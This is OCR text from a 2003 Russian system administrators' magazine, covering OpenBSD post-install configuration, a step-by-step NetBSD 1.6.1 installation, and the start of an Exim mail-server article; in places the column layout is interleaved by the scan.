Вот пример текущего листинга ifconfig –a одного из
моих OpenBSD –CURRENT-боксов с GENERIC-ядром.
Для конфигурирования multicast routing смотрите стра-
ницу мануала netstat (8) и страницу dhcp (8) для интер-
фейсов DHCP.
Проверьте таблицы роутинга командой netstat –rn.
Вывод будет примерно таким:
Адрес маршрута по умолчанию находится в файле /etc/
mygate (если файла нет – создайте его вручную, прописав
туда нужный IP-адрес). Добавить маршрут вручную помо-
жет команда:
route add default xxx.xxx.xxx.xxx
Для детального анализа конфигурации сетевых интер-
фейсов смотрите файл /etc/netstart, именно в нем нахо-
дятся сценарии запуска сетевой подсистемы.
30
Если вы собираетесь маршрутизировать пакеты меж-
ду интерфейсами, добавьте опцию:
net.inet.ip.forwarding=1
или
net.inet6.ip.forwarding=1
в файл /etc/sysctl.conf или пересоберите ядро с опцией
GATEWAY. Пакеты не перенаправляются по умолчанию в
соответствии требованиям RFC.
BIND Name Server (DNS)
Если вы используете DNS, то настройки хранятся в фай-
ле /etc/resolv.conf. Он может выглядеть примерно так:
# cat /etc/resolv.conf
lookup file bind
nameserver 127.0.0.1
nameserver 172.16.13.35
Чтобы использовать локальный кэширующий сервер
имен (как раз мой случай) первая строчка nameserver долж-
на выглядеть именно так: «nameserver 127.0.0.1». Вы также
должны выставить named_flags в файле /etc/rc.conf.local, в
моем случае /etc/rc.conf и создать файл named.boot (в вер-
сии OpenBSD 3.3 используется BIND версии 9.x и файл на-
зывается named.conf) в соответствии со страницей мануала
named (8). Если же преобразование имен в IP-адреса проис-
ходит слишком долго, проверьте, что демон named запущен.
RPC-based сетевые сервисы
Некоторые сетевые сервисы ориентированы на использо-
вание RPC portmapper, должен быть запущен для их рабо-
ты portmap (8). Эти сервисы включают в себя YP и NFS и
множество других сервисов. Для запуска RPC portmapper
автоматически вы должны прописать директиву:
portmap=YES
в файле /etc/rc.conf.local.
Настройка YP (Yellow Pages)
Рассказывать, что такое YP в деталях я не буду, это от-
дельная тема для статьи, вкратце же можно сказать, что
это подобие Windows Active Directory, где пользователи и
прочая информация хранятся на центральном сервере и
все машины в сети работают с ним. Первое, что надо сде-
лать, – это проверить имя домена YP. Это делается при
помощи команды domainname (1). В случае ошибки отре-
дактируйте файл /etc/defaultdomain и перезапустите систе-
му. Осуществить смену defaultdomain без перезапуска си-
стемы можно при помощи той же команды domainname (1).
Запустить клиентскую часть YP-сервисов можно просто
запустив ypbind и затем осуществив переход на YP-сервер,
как описано на страницах мануала passwd (5) и group (5).
Чтобы включить поддержку YP, вы должны добавить линию:
+:*::::::::

в файл /etc/master.passwd, и это может быть корректно
выполнено при помощи команды vipw (8). В дальнейшем
любые исправления файла /etc/master.passwd осуществ-
ляйте только при помощи команды vipw (8), т.к. авториза-
ция в системе опирается сразу на 4 файла. Это /etc/passwd,
/etc/master.passwd, /etc/pwd.db, /etc/spwd.db и vipw (8) ра-
ботает с ними всеми сразу. Всю дополнительную инфор-
мацию относительно работы с YP вы можете найти на стра-
нице мануала yp (8).
Проверьте правильность монтирования дисков систе-
мы, сравнивая содержание файла /etc/fstab и выводы ко-
манд mount (8) и df (1). Например:
администрирование
Конечно, очень многое из арсенала OpenBSD нам может и
не пригодиться (например, авторизация по Kerberos), но
все же стоит знать, что большинство файлов конфигура-
ции располагаются в директории /etc. Смело пишем cd /etc
и редактируем файлы, нужные нам.
Небольшая оговорка. Файл /etc/motd, содержащий
Message Of The Day, перезаписывается каждый раз при
перезапуске системы, а если вы хотите, чтобы ваше со-
общение оставалось, как, например, у меня:

Вы должны просто добавить 2 пустые строчки в нача-

ло файла /etc/motd и система не будет трогать его. Мне с
моими пользователями как раз стоит держать файл /etc/
motd без изменений.:

pheonix@princess pheonix$ wc -l /etc/passwd

5006 /etc/passwd

Добавление пользователей
Я немного отвлекся, идем дальше. В OpenBSD имеются
команды user, useradd, userdel, userinfo, usermod, users для
работы с пользователями системы. Нас интересует коман-
да useradd, но разработчики решили не грузить админист-
раторов бесполезным заучиванием опций этой команды и
создали замечательный скрипт /usr/sbin/adduser, который
в интерактивном режиме задаст вам вопросы относитель-
но новых пользователей и добавит их без проблем. Типич-
ная сессия добавления пользователя:

Отредактируйте файл /etc/fstab и используйте коман-

ды mount (8) umount (8) в дальнейшем для работы с дис-
ками. Формат файла /etc/fstab вы можете опять же узнать
из страницы мануала fstab (5).

Concatenated disks (ccd)

Если вы используете Concatenated disks, отредактируйте
файл /etc/ccd.conf и используйте команды:

ccdconfig –U
ccdconfig –C

для удаления и создания ccd общих таблиц файлов. За-

тем вы можете пользоваться mount (8) и umount (8) для
работы с ccd-дисками как с обычными и отредактировать
файл /etc/fstab в случае надобности.
Ну вот, на данном этапе система уже будет сносно ра-
ботать, однако это совсем не дело – оставлять ее в таком
все еще сыром виде. Нам нужна большая гибкость и более
тонкая настройка, например, новые пользователи и т. д.

№8(9), август 2003 31

 администрирование
Что примечательно и сразу бросается в глаза? Конечно
же проверка файлов авторизации системы. Скрипт ругает-
ся на то, что мой пользователь postfix имеет GID (Group
Identificator), которого нет в системе, однако это требование
почтовой системы Postfix, поэтому не обращаем на это вни-
мание. Что еще? Конечно, Login class. OpenBSD поддержи-
вает классы пользователей, на которые будут накладывать-
ся те или иные ограничения. Какие именно ограничения есть
в системе, вы можете узнать, используя команду «ulimit –a».
Например, лимиты для суперпользователя выглядят так:
Дневные, недельные
и месячные скрипты
Если смотреть в директорию /etc, можно увидеть там скрип-
ты daily, weekly, monthly. Вы можете напрямую редактиро-
вать эти скрипты, как я, или же делать «правильно», со-
здав файлы daily.local, weekly.local, monthly.local и внеся в
них нужные вам исправления. Наверное, уже сложно не
догадаться, что эти скрипты будут выполняться демоном
cron один раз в день, неделю, месяц. Скрипты генерируют
очень полезный отчет о системе. Вот, например, такой:

Все классы определяются в файле /etc/login.conf и про-

читав страницу мануала login.conf (5), вы без труда со- -
здадите или внесете исправления в нужный вам класс.

RC-файлы
Еще раз о них. Проверьте файлы rc.conf, rc.conf.local,
rc.local, rc.securelevel, rc.shutdown и внесите в них все из-
менения, которые вам нужны. Обычно это 5-минутное дело,
однако очень многие вещи завязаны на этих файлах.

Подтяните безопасность
Вы можете еще более обезопасить систему, отредакти-
ровав файл /etc/inetd.conf и выключив в нем такие служ-
бы/демоны, как telnetd (8) и ftpd (8), которые легко заме-
няются более безопасной службой SSH (Secure Shell).

Почтовая система
OpenBSD включает в себя Sendmail MTA, которая настрое-
на только на локальную доставку почты. Это значит, что
посылать письма локальным пользователям вы можете, а
вот принимать почту из сети – нет. Если вы хотите исполь-
зовать Sendmail MTA в дальнейшем, то вам надо отредак-
тировать файл /etc/mail/sendmail.cf и sendmail_flags в файле
/etc/rc.conf.local. Файл /etc/mail/localhost.cf, сгенерированный
из openbsd-localhost.mc как раз и служит только для «ло-
кальной MTA» и используется по умолчанию. Я использую
Postfix MTA на моих боксах, но объяснять почему в этой ста-
тье я не буду. Слишком много разных мнений на эту тему. Я
лишь могу рекомендовать вам, если вы еще не определи-
лись с выбором MTA, использовать Postfix. OpenBSD очень
хорошо с ним дружит.

DHCP-сервер
В случае надобности этого сервиса в вашей сети, я ду-
маю, вы уже догадываетесь, что надо сделать. И высылают его пользователю root на почту. Просмот-
Редактируем файл /etc/rc.conf.local: рев скрипты, вы без проблем разберетесь, как и где они
собирают данную информацию. Отдельная тема для ста-
dhcpd_flags=-q
тьи пакет mtree в OpenBSD. Именно он генерирует отчет
затем файлs /etc/dhcpd.conf и /etc/dhcpd.interfaces и за- о пропущенных и измененных файлах в системе.
пускаем демон dhcpd (8).

32
 администрирование
И высылают его пользователю root на почту. Просмот- тья перед вами. Осталось только ввести имя пользовате-
рев скрипты, вы без проблем разберетесь, как и где они ля, пароль и погрузиться в темный, дремучий лес OpenBSD
собирают данную информацию. Отдельная тема для ста- с фонариком в виде журнала «Системный администра-
тьи пакет mtree в OpenBSD. Именно он генерирует отчет тор». В следующей статье я расскажу подробнее о сете-
о пропущенных и измененных файлах в системе. вой подсистеме OpenBSD и о ее тюнинге.
Вот список страниц мануала, которые я рекомендую
Заранее скомпилированное программное вам для прочтения к данной статье:
обеспечение (Packages, упаковки)
chgrp (1)
adduser (8)
Любителям лениво сидеть перед монитором посвящает-
chmod (1)
amd (8)
ся. OpenBSD имеет огромный набор packages на любой
crontab (1)
bootpd (8)
вкус, начиная от системных утилит и демонов, заканчи-
date (1)
ccdconfig (8)
вая пакетами для графической среды X Windows. На вто-
df (1)
chown (8)
ром (обычно) диске дистрибутива как раз и идут файлы в
domainname (1)
config (8)
формате tar.gz, содержащие скомпилированное и порой
hostname (1)
dhclient (8)
уже отконфигурированное ПО. Достаточно лишь исполь-
ls (1)
dhcp (8)
зовать команду pkg_add (1) и пакет уже установлен в ва-
make (1)
dhcpd (8)
шей системе. В системе FreeBSD имеются PORTS, про-
man (1)
dmesg (8)
славившие ее, чем мы хуже? У нас тоже они есть, и еще
netstat (1)
ftpd (8)
сколько! Ставим дистрибутив портов с первого диска или
passwd (1)
ifconfig (8)
же выкачиваем его из сети, используя ftp://ftp.openbsd.org,
pkg_add (1)
inetd (8)
разворачиваем в папке /usr и вуаля! У нас стоят порты.
ssh (1)
kbd (8)
Дальнейшую работу с портами в этой статье описывать
su (1)
lpd (8)
не буду, скажу лишь только:
xdm (1)
mount (8)

ccd (4)
mtree (8)
cd /usr/ports/packagename;
make install

aliases (5)
named (8)

bootptab (5)
netstart (8)
и в большинстве случаев все. Вы обладатель установлен-
crontab (5)
newaliases (8)
ного ПО. Вам стоит прочитать страницы ports (7) packages
exports (5)
portmap (8)
(7) из мануала, и мне не придется краснеть за то, что я
fstab (5)
rbootd (8)
оставил вас в неведении относительно быстрой установ-
group (5)
rc (8)
ки ПО в OpenBSD. Опять же, обратившись к ftp://
hostname.if (5)
rmt (8)
ftp.openbsd.org, вы найдете много интересных вещей. Не
login.conf (5)
route (8)
забывайте, это лишь первые шаги, и мы делаем все, что-
passwd (5)
sudo (8)
бы система «точно работала», но не всегда «лучше рабо-
printcap (5)
telnetd (8)
тала». «Who wanna have, must work»,– как говорят неко-
resolv.conf (5)
umount (8)
торые, так вот и мы с вами будем потихоньку доводить
ssh_config (5)
vipw (8)
нашу работу с системой до совершенства.
hostname (7)
yp (8)
Опять получилось лирическое отступление, доиграла
packages (7)
ypbind (8)
«Enigma – Sadeness», допита четвертая чашка кофе, ста-
ports (7)

№8(9), август 2003 33

администрирование

NetBSD:
УСТАНОВКА И НАСТРОЙКА

Сегодня мы поговорим о NetBSD, которая является одной из разновидностей BSD-систем.

Несмотря на то что она широко распространена среди англоязычных пользователей, в России
о ней почти никто не знает. Эта статья призвана исправить сей досадный недостаток.

АНДРЕЙ БЕШКОВ
34

Первая версия NetBSD, появившаяся в 1993 году, называ-
лась NetBSD 0.8. Основывалась она на исходном коде сис-
темы 4.3BSD Lite, разработанной университетом Berkeley,
и системе 386BSD, которая стала первым вариантом BSD
Unix, способным работать на процессорах Intel 386. В тече-
ние последующих лет система NetBSD впитывала самые
лучшие идеи из всех веток BSD-систем. Многие из этих
идей постепенно трансформировались и улучшались эн-
тузиастами, работающими над развитием NetBSD. Список
приобретенных возможностей довольно длинный, поэто-
му перечислим лишь малую часть из них:

Управление заданиями

Быстрая файловая система Berkeley

Надежный механизм сигналов

Концепция виртуальной памяти

Работа с TCP/IP

Командная оболочка C
Впоследствии многое из того, что было опробовано
или создано на основе BSD, и NetBSD в частности, стало
стандартом для всех Unix-систем. Несмотря на свой ма-
лый размер, NetBSD является полноценной Unix-системой.
Важнейшими приоритетами в процессе разработки ста-
ли хорошо продуманный, но в то же время простой ди-
зайн, отличное качество кода и приверженность стандар-
там. Система в первую очередь задумывалась как среда
для обучения студентов основам проектирования Unix-
систем и полигон для проверки новых идей. Это позволи-
ло легко портировать систему на огромное количество
разнообразнейшего оборудования. Лозунгом системы
стала фраза «если внутри этой штуки есть процессор,
значит, мы будем на нем работать». На данный момент
NetBSD отлично чувствует себя более чем на 20 разных
платформах. Давайте кратко пробежимся по их списку:

Sun SPARC

Sun 3

Sun 3X

Digital Alpha (64 бита)

Commodore Amiga, MacroSystem DraCo

Все клоны IBM PC на процессорах I386

Acorn RiscPC/A7000, CATS, EBSA-285, Digital Shark,
VLSI RC7500

ATARI TT030, Falcon, Hades

Hewlett-Packard 9000/300

Hewlett-Packard 9000/400

Apple Power Macintosh

Apple Macintosh

Motorola MVME 86k SBCs

NeXT 68k DECstations и DECsystem, созданные на ос-
нове Digital MIPS

PC 532

Digital VAX

Sharp X680x0
Среди аппаратного обеспечения, на котором успешно
выполняет свои задачи NetBSD, есть как большие 64-бит-
ные системы вроде Digital Alpha, так и домашние машины
вроде Atari или клоны IBM PC. В то же время не только
Macintosh, но и карманные компьютеры не обойдены вни-
№8(9), август 2003
администрирование
манием. Примером миниатюризации может служить сле-
дующая фотография, на которой запечатлен карманный
компьютер HP Jordana 720:
Если внимательно присмотреться к картинке, можно за-
метить отлично работающий оконный менеджер BlackBox
и игру XDoom, в которой увлеченно сражается с монстра-
ми владелец этого миниатюрного аппарата. Практически
все приложения, запускаемые на обычных компьютерах,
работающих под управлением BSD-систем, будут работать
и на этой машине.
Можно посмотреть галерею снимков рабочих столов
пользователей NetBSD по этому адресу: http://www.netbsd.org/
gallery/in-Action/. Я думаю, вас удивит KDE, GNOME и мно-
жество других отлично работающих на этой платформе про-
грамм. Благодаря бинарной совместимости с Linux (Linux
Binary Compatibility), присущей всем BSD- системам, есть воз-
можность запросто запустить и успешно использовать бо-
лее 90%программ, скомпилированных для Linux.
Приятно осознавать, что в компьютере размером чуть
больше пивной алюминиевой баночки живет свой собствен-
ный BSD Unix. Судя по всему, создатели NetBSD крепко
усвоили истину, не дающую покоя многим мужчинам –
размер имеющегося в распоряжении железа значения не
имеет. Главное – уметь им пользоваться как следует. Тут
искушенный в Unix читатель должен нахмуриться и выс-
казать мнение, что, дескать, есть системы и поменьше. На-
пример, безвременно почивший LRP (Linux Router Project)
или PicoBSD, помещающиеся на одной дискете. А я триум-
фально отвечу, что не стоит путать полноценный и бога-
тый возможностями Unix с урезанными системами, глав-
ным смыслом возникновения которых была необходимость
создавать нетребовательные к железу платформы для меж-
сетевых экранов и маршрутизаторов.
Для того, кто решил работать с NetBSD, на первый
взгляд количество аппаратных платформ, на которые пор-
тирована система, не имеет особого значения. Но если
посмотреть с другой стороны на тот же вопрос, оказыва-
ется, что между переносом на другое оборудование и ка-
чеством исходного кода есть очень тесная связь. Без от-
лично спроектированного, простого для понимания и хо-
рошо организованного кода поддерживать такое количе-
ство разношерстного оборудования и разных его комби-
наций абсолютно невозможно.
35
 администрирование
Многие системы в процессе разработки руководству-
ются принципом «если код работает, значит, он написан
правильно». NetBSD в отличие от них считает, что такой
ход мыслей неверен. Вместо этого пропагандируется сле-
дующий подход к созданию систем: код не считается ра-
ботающим до тех пор, пока не будет полностью проверен
на правильность. Кажется странным, что большинство
людей не видят или не хотят понимать этих отличий.
Опираясь на университетские традиции, сообщество,
работающее над развитием NetBSD, позиционирует свой
проект как свободную систему для профессионалов и эн-
тузиастов, которую все желающие могут использовать для
любых целей. Каждому предоставляется свободный дос-
туп к исходным кодам и бинарным пакетам системы. А
значит, внесение модификаций и дальнейшее распрост-
ранение системы всячески приветствуется.
На мой взгляд, все вышеперечисленные характеристи-
ки NetBSD делают ее идеальной системой не только для
изучения Unix, но и для многих других начинаний. Одним
из приятных моментов в общении с этой системой являет-
ся то, что для начала работы не нужно покупать дорогосто-
ящего оборудования, а можно использовать старые PC, Mac
и прочие компьютеры. Это большой плюс для развития ма-
лобюджетных исследовательских проектов. Ну а если вам
нужен Unix, работающий одинаково стабильно на множе-
стве платформ, то вполне возможно, что NetBSD – ваш
единственный выбор.
Обсудив все плюсы NetBSD, перейдем от теории к
практике. Ну а чтобы у вас не сложилось впечатления о
предвзятом и однобоком освещении системы, я в процес-
се установки обязательно буду говорить о замеченных не-
достатках.
Начать инсталляцию можно со следующих носителей:

ftp

гибкий диск

CD-ROM

nfs

локальная директория
Так как статья не задумывалась в качестве исчерпываю-
щего руководства по установке NetBSD, я выбрал CD-ROM
как наиболее простой путь инсталляции. Не будем ослож-
нять себе жизнь возней с загрузочной дискетой, настрой-
кой nfs и прочими изысками. Для того чтобы создать заг-
рузочный CD-ROM, нам нужно скачать iso – образ диска с
любого из зеркальных серверов NetBSD. На момент на-
писания статьи для скачивания была доступна версия
NetBSD 1.6.1. Именно ее мы и будем использовать. Идем
по адресу: http://www.netbsd.org/mirrors/#iso и выбираем
ближайший к нам сервер дистрибутивов. Лично я исполь-
зовал работающий подозрительно быстро Эстонский сер-
вер ftp://ftp.ee.netbsd.org. Для моего PC предназначается
дистрибутив, в названии которого содержится имя исполь-
зуемого нами процессора i386. Ну а вы, соответственно,
должны выбирать дистрибутив для своего процессора. Пе-
реходим в директорию /pub/NetBSD/iso/1.6.1/ и качаем от-
туда файл с образом загрузочного диска i386cd.iso разме-
ром в 125 мегабайт. Интересно, как разработчики систе-
мы смогли упаковать полнофункциональный Unix в такой
36
малый объем. В этой же директории находятся еще 8 дис-
ков с пакетами дополнительного программного обеспече-
ния. Они нам пока не нужны, поэтому скачивать их не ста-
нем. В качестве бонуса можно взять файл i386pkg-cover.pdf,
содержащий внутри себя картинки обложек для CD-ROM.
По окончании скачивания тем или иным способом за-
писываем образ на CD-ROM. Я использовал для этого ста-
ренькую машину с Linux и программу cdrecord. Впрочем,
для Windows-программ, выполняющих данную функцию,
тоже вполне достаточно.
В BIOS выставили загрузку с CD-ROM, вставили диск
и перезагрузили компьютер. Как и во всех остальных BSD-
системах, вначале видим стандартное меню с таймером.
Нажимаем клавишу «Enter» или ждем, пока сработает тай-
мер, и загрузка продолжится сама по себе.
В зависимости от скорости процессора на экране в
разном темпе начинает появляться информация, выводи-
мая модулем диагностики и обнаружения оборудования.
Иногда процесс вывода замирает на 20-40 секунд. Как
только мы добрались до этапа, изображенного на следу-
ющем снимке, нужно немного подождать. Система заду-
мывается примерно на минуту и, казалось бы, зависает.
Но не стоит беспокоиться и пробовать вмешиваться в
процесс начальной загрузки. Через минуту-другую все
снова зашевелится. Программа-загрузчик была занята со-
зданием файловой системы в оперативной памяти. И вот
на экране появилось заглавное меню программы sysinst.
На протяжении всего процесса инсталляции мы будем ра-
ботать именно с ней.
Пользуясь появившимся меню, можно выполнить сле-
дующие действия:

начать инсталляцию;

обновить уже установленную систему NetBSD;

инсталлировать заново имеющееся в системе или до-
бавить новое программное обеспечение;

перезагрузить машину.
Если с первыми тремя пунктами все более или менее
ясно, то необходимость четвертого пункта, позволяюще-

го перегрузить машину, для меня лично довольно сомни-
тельна. Почему это нельзя сделать с помощью кнопки
«Reset» или, на крайний случай, «Power», мне было непо-
нятно. Впоследствии после консультаций со знающими
людьми было выяснено, для чего именно эта опция необ-
ходима. Оказалось, что нужна она для того, чтобы раз-
монтировать разделы, используемые во время обновле-
ния пакетов с программным обеспечением и добиться
корректного завершения установки.
Например, запуск оболочки командного интерпрета-
тора /bin/sh. На следующем рисунке мы можем видеть
результат выполнения команд pwd и ls. Нам предоставле-
на самая обычная оболочка, с помощью которой можно
поработать внутри запущенной сейчас системы и подпра-
вить все, что нужно, если вдруг что-то пойдет не так. Выйти
из оболочки можно, как обычно, нажав Ctrl+D.
Дальше идет интерфейс для установки временной
зоны. Меню это настолько лаконично, что и писать-то о
нем особенно нечего. Кстати, воспользоваться им для
изменения данных так и не удалось. Странно, но нажатие
каких угодно клавиш не давало никаких результатов.
Следом за ним появляется меню настройки сетевых
интерфейсов, отображающее две сетевые карты, установ-
ленные на моей машине.
К примеру, можно выбрать первый адаптер pcn0. За-
тем следует определение типа сетевой среды. Обычно
рекомендуется устанавливать autoselect.
Следующий вопрос позволяет указать, используем ли
мы DHCP для получения сетевых параметров.
Если согласиться, то адрес TCP/IP для этого интерфей-
са будет получен автоматически при условии наличия в
сети DHCP-сервера. Вводим данные о домене и имени
хоста. Я использовал в качестве имен строки «netbsd» и
«unreal.net» соответственно. Так как вокруг меня нет се-
тей, работающих с протоколом IPv6, я отказался от его ис-
пользования. И в результате получил вот такую картинку:
№8(9), август 2003
администрирование
Точно такого же результата можно достичь, если отка-
заться от DHCP и отвечать на все задаваемые вопросы са-
мостоятельно. DHCP-сервер на основе FreeBSD, работаю-
щий по 192.168.10.2, выделил мне адрес 192.168.10.128. От-
ветив «Yes» на вопрос о том, верно ли проведено конфигу-
рирование сетевой карты, я решил проверить, насколько пра-
вильно она будет после этого работать. Пользуясь меню, о
котором мы говорили ранее, запустил оболочку /bin/sh. За-
тем с помощью команды ping попытался посмотреть, досту-
пен ли наш DHCP-сервер. Также по совместительству он
является DNS-сервером и шлюзом по умолчанию.
Как видите, сервер оказался доступен. Окрыленный
таким успехом, я решил проверить другие протоколы и
для этого воспользовался ftp-сервисом, работающим на
том же сервере. Авторизовавшись, скачал из домашней
директории пользователя tigrisha файл .cshrc. Убедился,
что файл появился в локальной файловой системе.
Вы можете спросить меня, зачем производились все эти
странные манипуляции. А я отвечу: просто для эксперимен-
та. Из чистейшего любопытства и желания проверить, на-
сколько гибко работает мини-система, управляющая инстал-
ляцией. Кстати, все настройки, которые мы сейчас опреде-
лили, можно по окончании инсталляции сохранить как ис-
пользуемые системой по умолчанию. А это значит, что нам
не придется вносить их руками в конфигурационные файлы
37
 администрирование
после первой перезагрузки системы. Учитывая тот факт, что
система вместе с ядром и прочими программами, с которы-
ми мы работали, находится в оперативной памяти, а на же-
стком диске еще нет никаких данных, стоит признать ее впе-
чатляющие возможности. Я предвижу, что в этом месте мно-
гие читатели поморщатся и выскажут свое скептическое
мнение. Дескать, экая невидаль ping и ftp у них работает. А я
им в ответ заявлю, что для сравнения пусть попробуют сде-
лать что-либо подобное во время установки Windows или
Linux. Итак, наигравшись и выяснив потенциальные возмож-
ности системы, возвращаемся в самое первое меню и при-
ступаем к созданию разделов на жестком диске. Для этого
выбираем пункт «Install NetBSD to hard disk».
Следующая подсказка повествует о том, что для про-
должения инсталляции нам необходимо создать разделы
на жестком диске. Затем внутри этих разделов разместить
файловые системы нашей операционной системы. И уж
только после этого установить нужные наборы программ-
ного обеспечения, называемые почему-то «distribution sets».
Согласившись с предлагаемым планом, выбираем целе-
вой жесткий диск. В моей системе он назывался wd0. По-
следствия выбора не заставляют себя долго ждать.
Тут нам разрешают использовать данные о геометрии
жесткого диска, собранные мастером оборудования, или
задать свои. Я использовал данные, определенные мас-
тером. После этого наступает черед очень опасного вы-
бора. Нужно решить, использовать все пространство, до-
ступное на этом диске, или только часть из него. Выби-
рать использование части стоит в том случае, если на
диске есть разделы других операционных систем или вы
желаете их создать в дальнейшем. При использовании
всего пространства данные, ранее находившиеся на этом
диске, будут уничтожены.
У меня ничего ценного на этом диске отродясь не води-
лось, поэтому было решено полностью использовать дос-
тупное пространство, которое было равно 1023,97 мегабайт.
Следует отметить, что NetBSD для исправного функциони-
рования довольствуется гораздо более скромным простран-
38
ством. Инсталляция всех пакетов плюс система X Windows
займет 290 мегабайт, а без него 200 мегабайт. Следующий
вопрос, заданный системой, уточняет тип разбиения диска
на файловые системы.

Standart – вопрос о размерах и размещении необходимых
файловых систем программа инсталляции решает сама.

Standart X – размеры и размещение файловых систем
совпадают со стандартным размещением, за исключе-
нием того, что раздел swap увеличивается в два раза.
Также стоит обратить внимание на тот факт, что систе-
ма резервирует место для бинарных файлов X-сервера.
Таким образом, мы получим графический интерфейс на
основе XFree.

Custom – ручное разбиение файловых систем и опре-
деление точек монтирования.

Use existing – использовать уже имеющиеся файло-
вые системы. Нужно будет всего лишь указать точки
монтирования для них.
Я выбрал Standart X и получил следующую картину
распределения файловых систем по жесткому диску:
Поверив, что все на первый взгляд выглядит нормально,
решил не пользоваться опцией «Change partitions», вызыва-
ющей местный аналог программы fdisk, и выбрал взамен
пункт меню «Partitions are ok». На следующем экране систе-
ма интересовалась, не хочу ли я дать имя жесткому диску
вместо используемого по умолчанию «mydisk». Я решил, что
хочу и назвал его «system». Впрочем, вы можете поступить,
как вам заблагорассудится, потому что название некритич-
но. Затем последовало предупреждение о том, что измене-
ния на жесткий диск пока не записаны и у нас есть после-
дний шанс все отменить. Недрогнувшей рукой выбираем
пункт меню, разрешающий продолжать инсталляцию. Не-
которое время на экране будут мелькать надписи, извеща-
ющие нас о процессах создания и о ходе разметки новых
файловых систем. Нарисовав следующее меню, система
пытается узнать, что мы хотим использовать в качестве си-
стемной консоли. Выбрать можно один из двух вариантов:

Normal bootblock – системной консолью служит мони-
тор, подключенный к машине.


Serial bootblock – присоединяем системную консоль к
первому последовательному порту.
Я выбрал Normal bootblock, в ответ система немножко
пожужжала диском и радостно сообщила о том, что пер-
вый этап инсталляции завершен и теперь мне необходи-
мо выбрать наборы программного обеспечения, которые
будут установлены далее. Как обычно, дают выбрать из
двух наборов – Full и Custom. Повинуясь своему неуемно-
му любопытству, решил использовать нестандартный на-
бор пакетов. На следующем экране слева виден список
выбранных пакетов, а справа – меню со списком доступ-
ных для установки пакетов. Установить или снять помет-
ку о выборе можно с помощью клавиши «Enter».
После того как разберемся с выбором пакетов, систе-
ма задаст вопрос о носителе, с которого будет произво-
диться инсталляция.
Я выбирал CD-ROM, ну а вы можете использовать все,
что душе угодно. В следующем меню определяем, явля-
ется у нас CD-ROM устройством или директорией. Такой
подход удобен, если CD-ROM примонтирован в нестан-
дартное место.
Выбрав пункт device, соглашаемся с предлагаемым сис-
темой вариантом: считать нужный нам CD-ROM устройством
cd0. Несмотря на то что в вашей системе маркировка может
отличаться, я думаю, догадаться, что есть что, особого тру-
да не составит. Указав, где у нас находится CD-ROM, ис-
пользуем пункт меню «Continue» и приказываем продолжать
установку. Минут 5 любуемся на бегущие по экрану списки
устанавливаемых пакетов. К сожалению, с таким составом
пакетов с первого раза удачно завершить инсталляцию мне
не удалось. Начались шаманские танцы с бубном, но, не-
смотря на все старания, процедура установки с завидным
№8(9), август 2003
администрирование
постоянством прерывалась сообщениями о фатальной
ошибке в пакете X11-fonts. Хорошо, что установка длится
всего 5 минут. На третьей неудачной попытке были отклю-
чены все пакеты, связанные с X Windows. И только после это-
го инсталляция удалась. Либо при скачивании из сети образ
диска был поврежден, либо у меня плохо работает CD-ROM.
В голове крутятся мысли о том, что, конечно, хотелось
посмотреть, насколько хорошо работает оконная система,
но все же это некритично. Посмотрев на настенные часы,
понимаю, что 3 часа ночи – не самое лучшее время для того,
чтобы разбираться с неполадками. Ложусь спать с твердым
намерением завтра обязательно победить эту досадную
ошибку. На следующий день подопытная машина почувство-
вала на своей шкуре все прелести профилактики и техобс-
луживания. После этого была начата новая инсталляция
NetBSD с полным набором пакетов X Window, завершивша-
яся успешно. Судя по всему этот старый CD-ROM нужно
чистить гораздо чаще.
Как только нужные пакеты установились на жесткий
диск, система покажет меню с вопросом, корректно ли у
нас настроена сетевая подсистема и можно ли записать
настройки, использовавшиеся в этом сеансе как настрой-
ки по умолчанию. С радостью соглашаемся и жмем «Yes»:
все-таки редактировать системные файлы с помощью vi –
удовольствие не из самых приятных. После этого наступа-
ет черед установить часовой пояс, в котором находится эта
машина. Для меня это зона EUROPE/Moscow. Выбираем
ее с помощью клавиши «Enter» и выходим из меню, нажав
одну за другой клавиши «x» и «Enter». Далее выбираем
схему шифрования паролей. Доступны шифры DES и MD5.
В большинстве Unix-подобных систем стандартом де фак-
то является DES. Решено было использовать именно его.
Система спросит, не хотим ли мы проинициализировать
пароль пользователя root. Изъявляем желание и устанавли-
ваем в качестве пароля что-то очень длинное и сложно-за-
поминаемое.
Читаем поздравления, говорящие об удачном заверше-
нии установки, а когда надоест, нажимаем «OK» и снова
попадаем в самое первое меню инсталляции. Теперь нужно
перегрузить машину, наконец-то нам пригодилась загадоч-
ная опция «Reboot machine».
Следующим сюрпризом для нас будет тот факт, что те-
перь во время загрузки для отображения сообщений на си-
стемную консоль используется шрифт ярко-зеленого цвета.
Под конец процедуры загрузки демонов шрифт снова ста-
нет белым. Не Unix, а какой то калейдоскоп. Войдя в систе-
му под пользователем root, смотрим состояние сетевых ин-
терфейсов с помощью команды ifconfig –a. Настройки, оп-
ределенные в процессе инсталляции, сохранились. Затем
настраиваем X Windows с помощью программ xf86config или
XF86SETUP. Процесс этот ничем от остальных Unix-систем
не отличается, поэтому писать о нем не станем. Стоит отме-
тить, что X Windows запустились сразу же без каких-либо
ошибок. А вот с русской локализацией консоли разобраться
так и не удалось. На этом, наверное, стоит завершить нашу
совместную экскурсию по системе и пожелать вам успехов
в освоении этого варианта Unix. Если отклик на эту статью
будет достаточно сильным, то, наверное, я буду продолжать
писать об освоении NetBSD.
39
 администрирование

ЭФФЕКТИВНАЯ ПОЧТОВАЯ
СИСТЕМА НА БАЗЕ

Статья рассматривает создание почтовой системы с использованием Exim MTA версии 4, Exiscan,
SpamAssassin, Dr.Web; системы, защищенной от спама и вирусов, рассчитанную на большое
количество пользователей (сотни пользователей), а также имеющую удобную конфигурацию
в одном файле. В нашем примере в качестве ОС выбрана FreeBSD 4, но не будет никакой разницы
в установке для любой другой ОС семейства UNIX.

ДЕНИС МЫСЕНКО

Почему Exim?
Exim MTA (message transfer agent) является широкофунк-
циональной и высоко-защищенной почтовой системой.
Несмотря на монолитность программного кода (все бло-
ки находятся в одном процессе), за всю ее историю не
было обнаружено ни одной серьезной уязвимости, допус-
кающей несанкционированный доступ к серверу, на ко-
тором она работает. Программа распространяется по ли-
цензии GNU, автор – доктор Philip Hazel, The University of
Cambridge. Официальный сайт Exim – http://www.exim.org.
Последней версией на текущий момент является 4.20, но
мы рассмотрим пример на 4.12, как проверенный авто-
ром статьи.
Exim умеет брать пользователей из любого источника –
MySQL, OpenLDAP, UNIX и т. д. Вся конфигурация нахо-
дится в одном файле и разбита на практически автоном-
ные секции, что дает особые удобства и возможности при
